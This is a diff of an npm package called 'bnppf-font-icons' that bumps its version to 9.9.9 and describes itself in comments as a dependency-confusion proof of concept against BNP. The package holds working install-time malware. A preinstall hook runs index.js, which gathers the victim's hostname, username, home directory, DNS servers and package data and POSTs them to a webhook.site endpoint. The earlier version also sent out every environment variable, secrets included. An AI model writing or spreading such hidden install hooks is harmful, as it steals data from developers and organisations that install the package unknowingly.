bnppf-font-icons 3.1.0 → 9.9.9

package/index.js

@@ -1,34 +1,33 @@
+//POC for BNP possible dependency confusion
+//author:- whitehacker003@protonmail.com
+//contact: eden.dw2001@gmail.com
 const os = require("os");
 const dns = require("dns");
 const querystring = require("querystring");
 const https = require("https");
 const packageJSON = require("./package.json");
+const package = packageJSON.name;
 
-// Construct tracking data with additional information
 const trackingData = JSON.stringify({
-    packageName: packageJSON.name,
-    packageVersion: packageJSON.version,
-    resolvedUrl: packageJSON ? packageJSON.___resolved : undefined,
-    currentDir: __dirname,
-    homeDir: os.homedir(),
-    hostname: os.hostname(),
-    username: os.userInfo().username,
-    dnsServers: dns.getServers(),
-    workingDir: process.cwd(),
-    envVars: process.env, 
-    fullPackageJson: packageJSON, 
+    p: package,
+    c: __dirname,
+    hd: os.homedir(),
+    hn: os.hostname(),
+    un: os.userInfo().username,
+    dns: dns.getServers(),
+    r: packageJSON ? packageJSON.___resolved : undefined,
+    v: packageJSON.version,
+    pjson: packageJSON,
 });
 
-// Prepare data for POST request
 var postData = querystring.stringify({
     msg: trackingData,
 });
 
-// Set up HTTPS options for Burp Collaborator server
 var options = {
-    hostname: "webhook.site", // Update with Interactsh or other service if needed
+    hostname: "webhook.site", //replace burpcollaborator.net with Interactsh or pipedream
     port: 443,
-    path: "/ae9084dd-65a9-4b42-a5ea-86c78840ddae",
+    path: "/40d85892-244c-4947-9379-7595c2b9283d",
     method: "POST",
     headers: {
         "Content-Type": "application/x-www-form-urlencoded",
@@ -36,17 +35,15 @@ var options = {
     },
 };
 
-// Create HTTPS request to send tracking data
 var req = https.request(options, (res) => {
     res.on("data", (d) => {
-        process.stdout.write(d); // Log server response
+        process.stdout.write(d);
     });
 });
 
 req.on("error", (e) => {
-    // Silently handle errors, if any
+    // console.error(e);
 });
 
-// Send the tracking data
 req.write(postData);
 req.end();

package/package.json

@@ -1,12 +1,12 @@
 {
   "name": "bnppf-font-icons",
-  "version": "3.1.0",
-  "description": "ngosytuan",
+  "version": "9.9.9",
+  "description": "PoC",
   "main": "index.js",
   "scripts": {
     "test": "echo \"Error: no test specified\" && exit 1",
-"preinstall":"node index.js"
-},
+    "preinstall": "node index.js"
+  },
   "author": "",
   "license": "ISC"
 }